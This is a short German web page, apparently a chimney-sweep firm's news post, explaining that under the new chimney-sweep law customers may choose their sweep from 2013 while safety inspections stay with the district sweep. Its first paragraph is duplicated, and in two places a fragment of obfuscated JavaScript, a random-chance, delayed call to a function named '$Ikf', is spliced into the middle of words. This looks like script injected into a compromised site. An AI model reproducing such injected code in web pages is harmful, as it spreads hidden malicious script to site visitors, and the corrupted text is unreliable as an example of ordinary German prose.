Das neue Schornsteinfegergesetz

Das neue Schornsteinfegergesetz bewirkt vielfältige Änderungen: Nach einer Übergangszeit haben Sie als Kunde ab 2013 die freie Wahl, welchen Schornsteinfeger Sie mit Reinigungs-, Mess- und Überprüfungsarbeiten beauftragen.

Das neue Schornsteinfegergesetz bewirkt vielfältige Änderungen: Nach einer Übergangszeit haben Sie als Kunde ab 2013 die freie Wahl, welchen Schornsteinfeger Sie mit Reinigungs-, Mess- und Überprüfungsarbeiten beauftragen.
Wichtige Sicherheitsaufgaben, wie Brandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andschutz und die Abnahme von Feuerungsanlagen, bleiben jedoch in den kompetenten Händen Ihres Bezirksschornsteinfegers.
Natürlich haben Sie auch weiterhin die Möglichkeit, Ihren bisherigen Bezirksschornsteinfeger mit allen Aufgaben zu betrauen. So sparen Sie sich die lästige Terminverfolgung und unnötigen Aufwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and mit Formalitäten.

in Kategorie: News, Schornsteinfeger

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